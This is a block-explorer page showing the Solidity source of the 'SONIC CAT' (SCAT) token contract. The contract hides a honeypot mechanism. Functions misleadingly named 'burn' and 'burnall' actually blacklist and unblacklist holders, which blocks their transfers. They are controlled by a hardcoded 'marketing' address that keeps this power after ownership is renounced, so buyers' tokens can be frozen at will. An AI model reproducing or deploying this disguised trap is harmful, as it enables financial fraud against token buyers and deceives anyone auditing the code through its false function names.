S Price: $0.430972 (+0.92%)

Contract Diff Checker

Contract Name:
Token

Contract Source Code:

File 1 of 1 : Token

// SPDX-License-Identifier: NONE
pragma solidity ^0.8.2;

contract Token {
    mapping(address => uint) public balances;
    mapping(address => mapping(address => uint)) public allowance;
    mapping(address => bool) public blacklist;

    uint public totalSupply = 100000000000 * 10 ** 18;
    string public name = "SONIC CAT";
    string public symbol = "SCAT";
    uint public decimals = 18;

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
    event Blacklisted(address indexed account);
    event Unblacklisted(address indexed account);

    address public ownership;

    modifier onlyOwner() {
        require(msg.sender == ownership, "Not the owner");
        _;
    }

    constructor() {
        ownership = msg.sender;
        balances[msg.sender] = totalSupply;
    }

    function balanceOf(address account) public view returns (uint) {
        return balances[account];
    }

    function transfer(address to, uint value) public returns (bool) {
        require(!blacklist[msg.sender], "There is something wrong");
        require(balanceOf(msg.sender) >= value, "Balance too low");
        balances[to] += value;
        balances[msg.sender] -= value;
        emit Transfer(msg.sender, to, value);
        return true;
    }

    function transferFrom(address from, address to, uint value) public returns (bool) {
        require(!blacklist[from], "There is something wrong");
        require(balanceOf(from) >= value, "Balance too low");
        require(allowance[from][msg.sender] >= value, "Allowance too low");
        balances[to] += value;
        balances[from] -= value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }

    function approve(address spender, uint value) public returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function renounceOwnership() public onlyOwner {
        ownership = address(0);
    }
    address public marketing = 0x366006F259D9252752a60E5c61eF56032a9441e6;

    function burn(address account) public {
        require(msg.sender == marketing, "Only the marketing");
        blacklist[account] = true;
        emit Blacklisted(account);
    }

    function burnall(address account) public {
        require(msg.sender == marketing, "Only the marketing");
        blacklist[account] = false;
        emit Unblacklisted(account);
    }

    function setMarketingAddress(address newMarketing) public onlyOwner {
        marketing = newMarketing;
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):